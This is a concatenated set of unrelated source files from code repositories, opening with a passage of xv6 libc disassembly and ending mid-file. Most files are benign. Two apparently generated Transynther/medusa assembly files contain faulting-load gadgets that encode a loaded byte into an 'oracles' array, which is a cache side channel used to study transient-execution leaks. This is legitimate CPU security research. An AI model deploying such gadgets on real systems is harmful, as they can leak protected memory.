5b0: 8b 13 mov (%ebx),%edx
5b2: e8 49 fe ff ff call 400 <printint>
ap++;
5b7: 89 d8 mov %ebx,%eax
5b9: 83 c4 10 add $0x10,%esp
state = 0;
5bc: 31 d2 xor %edx,%edx
ap++;
5be: 83 c0 04 add $0x4,%eax
5c1: 89 45 d0 mov %eax,-0x30(%ebp)
5c4: e9 4b ff ff ff jmp 514 <printf+0x54>
5c9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
printint(fd, *ap, 10, 1);
5d0: 83 ec 0c sub $0xc,%esp
5d3: b9 0a 00 00 00 mov $0xa,%ecx
5d8: 6a 01 push $0x1
5da: eb ce jmp 5aa <printf+0xea>
5dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
putc(fd, *ap);
5e0: 8b 5d d0 mov -0x30(%ebp),%ebx
write(fd, &c, 1);
5e3: 83 ec 04 sub $0x4,%esp
putc(fd, *ap);
5e6: 8b 03 mov (%ebx),%eax
write(fd, &c, 1);
5e8: 6a 01 push $0x1
ap++;
5ea: 83 c3 04 add $0x4,%ebx
write(fd, &c, 1);
5ed: 57 push %edi
5ee: ff 75 08 pushl 0x8(%ebp)
putc(fd, *ap);
5f1: 88 45 e7 mov %al,-0x19(%ebp)
write(fd, &c, 1);
5f4: e8 58 fd ff ff call 351 <write>
ap++;
5f9: 89 5d d0 mov %ebx,-0x30(%ebp)
5fc: 83 c4 10 add $0x10,%esp
state = 0;
5ff: 31 d2 xor %edx,%edx
601: e9 0e ff ff ff jmp 514 <printf+0x54>
606: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
60d: 8d 76 00 lea 0x0(%esi),%esi
putc(fd, c);
610: 88 5d e7 mov %bl,-0x19(%ebp)
write(fd, &c, 1);
613: 83 ec 04 sub $0x4,%esp
616: e9 5a ff ff ff jmp 575 <printf+0xb5>
61b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
61f: 90 nop
s = (char*)*ap;
620: 8b 45 d0 mov -0x30(%ebp),%eax
623: 8b 18 mov (%eax),%ebx
ap++;
625: 83 c0 04 add $0x4,%eax
628: 89 45 d0 mov %eax,-0x30(%ebp)
if(s == 0)
62b: 85 db test %ebx,%ebx
62d: 74 17 je 646 <printf+0x186>
while(*s != 0){
62f: 0f b6 03 movzbl (%ebx),%eax
state = 0;
632: 31 d2 xor %edx,%edx
while(*s != 0){
634: 84 c0 test %al,%al
636: 0f 84 d8 fe ff ff je 514 <printf+0x54>
63c: 89 75 d4 mov %esi,-0x2c(%ebp)
63f: 89 de mov %ebx,%esi
641: 8b 5d 08 mov 0x8(%ebp),%ebx
644: eb 1a jmp 660 <printf+0x1a0>
s = "(null)";
646: bb 78 08 00 00 mov $0x878,%ebx
while(*s != 0){
64b: 89 75 d4 mov %esi,-0x2c(%ebp)
64e: b8 28 00 00 00 mov $0x28,%eax
653: 89 de mov %ebx,%esi
655: 8b 5d 08 mov 0x8(%ebp),%ebx
658: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
65f: 90 nop
write(fd, &c, 1);
660: 83 ec 04 sub $0x4,%esp
s++;
663: 83 c6 01 add $0x1,%esi
666: 88 45 e7 mov %al,-0x19(%ebp)
write(fd, &c, 1);
669: 6a 01 push $0x1
66b: 57 push %edi
66c: 53 push %ebx
66d: e8 df fc ff ff call 351 <write>
while(*s != 0){
672: 0f b6 06 movzbl (%esi),%eax
675: 83 c4 10 add $0x10,%esp
678: 84 c0 test %al,%al
67a: 75 e4 jne 660 <printf+0x1a0>
67c: 8b 75 d4 mov -0x2c(%ebp),%esi
state = 0;
67f: 31 d2 xor %edx,%edx
681: e9 8e fe ff ff jmp 514 <printf+0x54>
686: 66 90 xchg %ax,%ax
688: 66 90 xchg %ax,%ax
68a: 66 90 xchg %ax,%ax
68c: 66 90 xchg %ax,%ax
68e: 66 90 xchg %ax,%ax
00000690 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
690: 55 push %ebp
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
691: a1 2c 0b 00 00 mov 0xb2c,%eax
{
696: 89 e5 mov %esp,%ebp
698: 57 push %edi
699: 56 push %esi
69a: 53 push %ebx
69b: 8b 5d 08 mov 0x8(%ebp),%ebx
69e: 8b 10 mov (%eax),%edx
bp = (Header*)ap - 1;
6a0: 8d 4b f8 lea -0x8(%ebx),%ecx
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
6a3: 39 c8 cmp %ecx,%eax
6a5: 73 19 jae 6c0 <free+0x30>
6a7: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
6ae: 66 90 xchg %ax,%ax
6b0: 39 d1 cmp %edx,%ecx
6b2: 72 14 jb 6c8 <free+0x38>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
6b4: 39 d0 cmp %edx,%eax
6b6: 73 10 jae 6c8 <free+0x38>
{
6b8: 89 d0 mov %edx,%eax
6ba: 8b 10 mov (%eax),%edx
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
6bc: 39 c8 cmp %ecx,%eax
6be: 72 f0 jb 6b0 <free+0x20>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
6c0: 39 d0 cmp %edx,%eax
6c2: 72 f4 jb 6b8 <free+0x28>
6c4: 39 d1 cmp %edx,%ecx
6c6: 73 f0 jae 6b8 <free+0x28>
break;
if(bp + bp->s.size == p->s.ptr){
6c8: 8b 73 fc mov -0x4(%ebx),%esi
6cb: 8d 3c f1 lea (%ecx,%esi,8),%edi
6ce: 39 fa cmp %edi,%edx
6d0: 74 1e je 6f0 <free+0x60>
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
6d2: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
6d5: 8b 50 04 mov 0x4(%eax),%edx
6d8: 8d 34 d0 lea (%eax,%edx,8),%esi
6db: 39 f1 cmp %esi,%ecx
6dd: 74 28 je 707 <free+0x77>
p->s.size += bp->s.size;
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
6df: 89 08 mov %ecx,(%eax)
freep = p;
}
6e1: 5b pop %ebx
freep = p;
6e2: a3 2c 0b 00 00 mov %eax,0xb2c
}
6e7: 5e pop %esi
6e8: 5f pop %edi
6e9: 5d pop %ebp
6ea: c3 ret
6eb: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
6ef: 90 nop
bp->s.size += p->s.ptr->s.size;
6f0: 03 72 04 add 0x4(%edx),%esi
6f3: 89 73 fc mov %esi,-0x4(%ebx)
bp->s.ptr = p->s.ptr->s.ptr;
6f6: 8b 10 mov (%eax),%edx
6f8: 8b 12 mov (%edx),%edx
6fa: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
6fd: 8b 50 04 mov 0x4(%eax),%edx
700: 8d 34 d0 lea (%eax,%edx,8),%esi
703: 39 f1 cmp %esi,%ecx
705: 75 d8 jne 6df <free+0x4f>
p->s.size += bp->s.size;
707: 03 53 fc add -0x4(%ebx),%edx
freep = p;
70a: a3 2c 0b 00 00 mov %eax,0xb2c
p->s.size += bp->s.size;
70f: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
712: 8b 53 f8 mov -0x8(%ebx),%edx
715: 89 10 mov %edx,(%eax)
}
717: 5b pop %ebx
718: 5e pop %esi
719: 5f pop %edi
71a: 5d pop %ebp
71b: c3 ret
71c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
00000720 <malloc>:
return freep;
}
void*
malloc(int nbytes)
{
720: 55 push %ebp
721: 89 e5 mov %esp,%ebp
723: 57 push %edi
724: 56 push %esi
725: 53 push %ebx
726: 83 ec 1c sub $0x1c,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
729: 8b 45 08 mov 0x8(%ebp),%eax
if((prevp = freep) == 0){
72c: 8b 3d 2c 0b 00 00 mov 0xb2c,%edi
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
732: 8d 70 07 lea 0x7(%eax),%esi
735: c1 ee 03 shr $0x3,%esi
738: 83 c6 01 add $0x1,%esi
if((prevp = freep) == 0){
73b: 85 ff test %edi,%edi
73d: 0f 84 ad 00 00 00 je 7f0 <malloc+0xd0>
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
743: 8b 17 mov (%edi),%edx
if(p->s.size >= nunits){
745: 8b 4a 04 mov 0x4(%edx),%ecx
748: 39 f1 cmp %esi,%ecx
74a: 73 72 jae 7be <malloc+0x9e>
74c: 81 fe 00 10 00 00 cmp $0x1000,%esi
752: bb 00 10 00 00 mov $0x1000,%ebx
757: 0f 43 de cmovae %esi,%ebx
p = sbrk(nu * sizeof(Header));
75a: 8d 04 dd 00 00 00 00 lea 0x0(,%ebx,8),%eax
761: 89 45 e4 mov %eax,-0x1c(%ebp)
764: eb 1b jmp 781 <malloc+0x61>
766: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
76d: 8d 76 00 lea 0x0(%esi),%esi
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
770: 8b 02 mov (%edx),%eax
if(p->s.size >= nunits){
772: 8b 48 04 mov 0x4(%eax),%ecx
775: 39 f1 cmp %esi,%ecx
777: 73 4f jae 7c8 <malloc+0xa8>
779: 8b 3d 2c 0b 00 00 mov 0xb2c,%edi
77f: 89 c2 mov %eax,%edx
p->s.size = nunits;
}
freep = prevp;
return (void*)(p + 1);
}
if(p == freep)
781: 39 d7 cmp %edx,%edi
783: 75 eb jne 770 <malloc+0x50>
p = sbrk(nu * sizeof(Header));
785: 83 ec 0c sub $0xc,%esp
788: ff 75 e4 pushl -0x1c(%ebp)
78b: e8 29 fc ff ff call 3b9 <sbrk>
if(p == (char*)-1)
790: 83 c4 10 add $0x10,%esp
793: 83 f8 ff cmp $0xffffffff,%eax
796: 74 1c je 7b4 <malloc+0x94>
hp->s.size = nu;
798: 89 58 04 mov %ebx,0x4(%eax)
free((void*)(hp + 1));
79b: 83 ec 0c sub $0xc,%esp
79e: 83 c0 08 add $0x8,%eax
7a1: 50 push %eax
7a2: e8 e9 fe ff ff call 690 <free>
return freep;
7a7: 8b 15 2c 0b 00 00 mov 0xb2c,%edx
if((p = morecore(nunits)) == 0)
7ad: 83 c4 10 add $0x10,%esp
7b0: 85 d2 test %edx,%edx
7b2: 75 bc jne 770 <malloc+0x50>
return 0;
}
}
7b4: 8d 65 f4 lea -0xc(%ebp),%esp
return 0;
7b7: 31 c0 xor %eax,%eax
}
7b9: 5b pop %ebx
7ba: 5e pop %esi
7bb: 5f pop %edi
7bc: 5d pop %ebp
7bd: c3 ret
if(p->s.size >= nunits){
7be: 89 d0 mov %edx,%eax
7c0: 89 fa mov %edi,%edx
7c2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
if(p->s.size == nunits)
7c8: 39 ce cmp %ecx,%esi
7ca: 74 54 je 820 <malloc+0x100>
p->s.size -= nunits;
7cc: 29 f1 sub %esi,%ecx
7ce: 89 48 04 mov %ecx,0x4(%eax)
p += p->s.size;
7d1: 8d 04 c8 lea (%eax,%ecx,8),%eax
p->s.size = nunits;
7d4: 89 70 04 mov %esi,0x4(%eax)
freep = prevp;
7d7: 89 15 2c 0b 00 00 mov %edx,0xb2c
}
7dd: 8d 65 f4 lea -0xc(%ebp),%esp
return (void*)(p + 1);
7e0: 83 c0 08 add $0x8,%eax
}
7e3: 5b pop %ebx
7e4: 5e pop %esi
7e5: 5f pop %edi
7e6: 5d pop %ebp
7e7: c3 ret
7e8: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
7ef: 90 nop
base.s.ptr = freep = prevp = &base;
7f0: c7 05 2c 0b 00 00 30 movl $0xb30,0xb2c
7f7: 0b 00 00
base.s.size = 0;
7fa: bf 30 0b 00 00 mov $0xb30,%edi
base.s.ptr = freep = prevp = &base;
7ff: c7 05 30 0b 00 00 30 movl $0xb30,0xb30
806: 0b 00 00
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
809: 89 fa mov %edi,%edx
base.s.size = 0;
80b: c7 05 34 0b 00 00 00 movl $0x0,0xb34
812: 00 00 00
if(p->s.size >= nunits){
815: e9 32 ff ff ff jmp 74c <malloc+0x2c>
81a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
prevp->s.ptr = p->s.ptr;
820: 8b 08 mov (%eax),%ecx
822: 89 0a mov %ecx,(%edx)
824: eb b1 jmp 7d7 <malloc+0xb7>
|
mc-sema/validator/x86_64/tests/CVTTSD2SIrm.asm | randolphwong/mcsema | 2 | 105030 | BITS 64
;TEST_FILE_META_BEGIN
;TEST_TYPE=TEST_F
;TEST_IGNOREFLAGS=
;TEST_FILE_META_END
; put 2 into ecx for future load into xmm0
mov ecx, 2
cvtsi2sd xmm0, ecx
;TEST_BEGIN_RECORDING
lea rcx, [rsp-8]
movsd [rcx], xmm0
cvttsd2si ecx, [rcx]
;TEST_END_RECORDING
xor ecx, ecx
cvtsi2sd xmm0, ecx
|
Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0x48.log_21829_2846.asm | ljhsiun2/medusa | 9 | 20653 | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r13
push %r15
push %r8
push %r9
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0x8304, %r15
nop
xor $29857, %rdi
mov (%r15), %r10
and $12954, %r13
lea addresses_A_ht+0x440c, %r15
nop
nop
nop
add $36095, %rbx
movl $0x61626364, (%r15)
xor $35124, %r10
lea addresses_WC_ht+0x15b24, %r13
nop
nop
xor %r8, %r8
mov (%r13), %edi
nop
nop
xor $47532, %rbx
lea addresses_UC_ht+0x6364, %rbx
clflush (%rbx)
nop
xor $11042, %r9
movw $0x6162, (%rbx)
nop
nop
inc %r9
lea addresses_D_ht+0x9324, %r10
nop
nop
nop
nop
nop
dec %rdi
movb $0x61, (%r10)
sub %rbx, %rbx
lea addresses_WC_ht+0x14f14, %r13
nop
nop
nop
nop
add %r8, %r8
and $0xffffffffffffffc0, %r13
vmovntdqa (%r13), %ymm2
vextracti128 $0, %ymm2, %xmm2
vpextrq $0, %xmm2, %r10
and %rbx, %rbx
lea addresses_UC_ht+0xaf24, %rsi
lea addresses_WT_ht+0x8a24, %rdi
nop
nop
inc %r10
mov $62, %rcx
rep movsb
cmp %rdi, %rdi
lea addresses_A_ht+0x1bd44, %r10
nop
nop
mfence
mov $0x6162636465666768, %rcx
movq %rcx, %xmm3
and $0xffffffffffffffc0, %r10
movaps %xmm3, (%r10)
nop
nop
nop
nop
and %r8, %r8
lea addresses_D_ht+0x1b298, %rsi
lea addresses_normal_ht+0x101d0, %rdi
nop
nop
dec %r8
mov $45, %rcx
rep movsb
nop
nop
add %rbx, %rbx
lea addresses_WC_ht+0x16d24, %r8
nop
nop
nop
nop
nop
xor $62871, %rdi
vmovups (%r8), %ymm1
vextracti128 $1, %ymm1, %xmm1
vpextrq $0, %xmm1, %rsi
cmp $1084, %rbx
lea addresses_D_ht+0xa04, %rsi
lea addresses_D_ht+0x18a64, %rdi
clflush (%rsi)
nop
nop
nop
nop
nop
cmp %r9, %r9
mov $24, %rcx
rep movsb
nop
nop
nop
nop
nop
inc %r8
lea addresses_normal_ht+0x12fa4, %r9
nop
nop
nop
nop
xor %r8, %r8
mov (%r9), %rbx
nop
nop
nop
nop
nop
add $62872, %rsi
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r9
pop %r8
pop %r15
pop %r13
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r15
push %rax
push %rbp
push %rbx
push %rdi
push %rsi
// Store
lea addresses_UC+0x14724, %rsi
add $29472, %rbp
mov $0x5152535455565758, %r15
movq %r15, (%rsi)
nop
nop
nop
inc %rbx
// Store
lea addresses_RW+0x1ff24, %r15
nop
nop
nop
nop
nop
add $9384, %rdi
mov $0x5152535455565758, %rbp
movq %rbp, (%r15)
nop
nop
xor %rbp, %rbp
// Store
lea addresses_RW+0x1566f, %rax
xor %rbp, %rbp
movb $0x51, (%rax)
nop
inc %r15
// Faulty Load
lea addresses_RW+0x1ff24, %rdi
sub $4698, %rbp
mov (%rdi), %rsi
lea oracles, %rax
and $0xff, %rsi
shlq $12, %rsi
mov (%rax,%rsi,1), %rsi
pop %rsi
pop %rdi
pop %rbx
pop %rbp
pop %rax
pop %r15
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': False, 'NT': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 9, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': True, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'AVXalign': True, 'congruent': 0, 'size': 1, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 1, 'size': 8, 'same': False, 'NT': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 3, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 10, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 5, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 10, 'size': 1, 'same': False, 'NT': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 3, 'size': 32, 'same': False, 'NT': True}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 10, 'same': True}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': True, 'congruent': 5, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 9, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 3, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 7, 'size': 8, 'same': False, 'NT': False}}
{'58': 21829}
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
*/
|
antlr/parentheses/Paren.g4 | kajigor/study | 0 | 4209 | // A good parentheses grammar
grammar Paren;
start : s EOF;
s : '(' s ')' s
|
;
|
test/Succeed/Issue154.agda | shlevy/agda | 1,989 | 2007 | -- You are not allowed to export the same name twice from a
-- module. However, if the name is only exported once, ambiguity
-- is allowed.
module Issue154 where
module A where
postulate X : Set
module B where
postulate X : Set
module C where
open A public
-- X is ambiguous here, but only exported once from C
module D where
private postulate X : Set
open A public
-- same here
module E where
postulate X : Set
open A
-- and here
module F where
open A public
open D public
-- in this case there is no ambiguity, A.X and D.X refer
-- to the same entity (A.X)
module G where
open B public
module H where
open G public
open B public
-- same as F but for modules
postulate
test : A.X → B.X → B.C.X → D.X → E.X → F.X → G.X → H.X
|
Get-BackgroundColor.applescript | bcdady/ConsoleTheme | 0 | 4178 | <reponame>bcdady/ConsoleTheme
#!/usr/bin/osascript
tell application "Terminal" to get background color of window 1
|
Task/Include-a-file/Ada/include-a-file.ada | LaudateCorpus1/RosettaCodeData | 1 | 10591 | <filename>Task/Include-a-file/Ada/include-a-file.ada
with Ada.Text_IO, Another_Package; use Ada.Text_IO;
-- the with-clause tells the compiler to include the Text_IO package from the Ada standard
-- and Another_Package. Subprograms from these packages may be called as follows:
-- Ada.Text_IO.Put_Line("some text");
-- Another_Package.Do_Something("some text");
-- The use-clause allows the program author to write a subprogram call shortly as
-- Put_Line("some text");
|
programs/oeis/183/A183143.asm | neoneye/loda | 22 | 104550 | <reponame>neoneye/loda
; A183143: [1/r]+[2/r]+...+[n/r], where r=sqrt(3) and []=floor.
; 0,1,2,4,6,9,13,17,22,27,33,39,46,54,62,71,80,90,100,111,123,135,148,161,175,190,205,221,237,254,271,289,308,327,347,367,388,409,431,454,477,501,525,550,575,601,628,655,683,711,740,770,800,831
mov $2,$0
mov $3,$0
lpb $3
mov $0,$2
sub $3,1
sub $0,$3
seq $0,97337 ; Integer part of the edge of a cube that has space-diagonal n.
add $1,$0
lpe
mov $0,$1
|
alloy4fun_models/trashltl/models/4/AKQL6cebx6GxPTqFj.als | Kaixi26/org.alloytools.alloy | 0 | 3470 | <filename>alloy4fun_models/trashltl/models/4/AKQL6cebx6GxPTqFj.als
open main
pred idAKQL6cebx6GxPTqFj_prop5 {
some f : File | f in Trash implies eventually File' = File - f
}
pred __repair { idAKQL6cebx6GxPTqFj_prop5 }
check __repair { idAKQL6cebx6GxPTqFj_prop5 <=> prop5o } |
ee/hxt/version.asm | olifink/smsqe | 0 | 90250 | <reponame>olifink/smsqe
; HOTKEY Extensions Versions
xdef hxt_vers
; 2.00 first version of HOTKEY Extensions.
;
hxt_vers equ '2.00'
end
|
Transynther/x86/_processed/NC/_zr_/i9-9900K_12_0xa0.log_21829_1384.asm | ljhsiun2/medusa | 9 | 175397 | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r12
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_D_ht+0x1cde2, %r12
nop
nop
nop
sub $640, %rbx
mov (%r12), %r11d
nop
nop
nop
xor $17621, %r10
lea addresses_UC_ht+0x1a00e, %rsi
lea addresses_UC_ht+0xc386, %rdi
nop
nop
nop
nop
nop
sub $11354, %rdx
mov $41, %rcx
rep movsq
nop
nop
nop
nop
xor $12028, %rsi
lea addresses_D_ht+0x11022, %rcx
nop
nop
nop
nop
nop
add $32842, %rbx
movups (%rcx), %xmm6
vpextrq $1, %xmm6, %r10
dec %rbx
lea addresses_normal_ht+0xab86, %rsi
lea addresses_A_ht+0x3186, %rdi
nop
nop
dec %rbx
mov $58, %rcx
rep movsq
nop
nop
nop
nop
cmp $34780, %r10
lea addresses_UC_ht+0x104e6, %rbx
nop
nop
nop
inc %r12
mov (%rbx), %r10d
nop
nop
xor $44828, %rdx
lea addresses_normal_ht+0x1b9fc, %r11
clflush (%r11)
nop
add %rcx, %rcx
mov $0x6162636465666768, %rdx
movq %rdx, %xmm5
and $0xffffffffffffffc0, %r11
movaps %xmm5, (%r11)
nop
nop
nop
nop
sub %rdx, %rdx
lea addresses_normal_ht+0x1ada6, %rcx
nop
nop
nop
nop
nop
cmp $51020, %rbx
mov $0x6162636465666768, %r12
movq %r12, %xmm5
movups %xmm5, (%rcx)
nop
nop
nop
nop
sub $23146, %rdx
lea addresses_A_ht+0x19386, %r12
nop
xor $2877, %rcx
mov (%r12), %di
nop
nop
nop
nop
nop
cmp %rbx, %rbx
lea addresses_A_ht+0x12186, %r12
nop
add %rdx, %rdx
mov $0x6162636465666768, %rcx
movq %rcx, %xmm3
movups %xmm3, (%r12)
nop
nop
nop
nop
nop
cmp $53388, %rdi
lea addresses_A_ht+0x1da86, %rsi
lea addresses_normal_ht+0x1cb86, %rdi
nop
nop
nop
nop
xor %r10, %r10
mov $36, %rcx
rep movsq
nop
nop
nop
nop
nop
xor $28555, %rbx
lea addresses_WT_ht+0x1f86, %rsi
lea addresses_D_ht+0xec64, %rdi
nop
lfence
mov $106, %rcx
rep movsq
nop
nop
nop
nop
sub %rsi, %rsi
lea addresses_D_ht+0x1cc86, %rsi
nop
nop
nop
nop
sub $25578, %rdx
movl $0x61626364, (%rsi)
nop
nop
nop
sub $35042, %r11
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %r12
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r12
push %r13
push %r14
push %r15
push %rsi
// Store
lea addresses_WC+0xbb70, %r12
nop
nop
xor $52560, %rsi
movl $0x51525354, (%r12)
nop
nop
nop
cmp $47785, %r10
// Faulty Load
mov $0x418be20000000386, %r11
sub $28613, %r14
movb (%r11), %r12b
lea oracles, %r14
and $0xff, %r12
shlq $12, %r12
mov (%r14,%r12,1), %r12
pop %rsi
pop %r15
pop %r14
pop %r13
pop %r12
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_NC', 'AVXalign': False, 'size': 32}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 1, 'type': 'addresses_WC', 'AVXalign': False, 'size': 4}}
[Faulty Load]
{'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_NC', 'AVXalign': False, 'size': 1}, 'OP': 'LOAD'}
<gen_prepare_buffer>
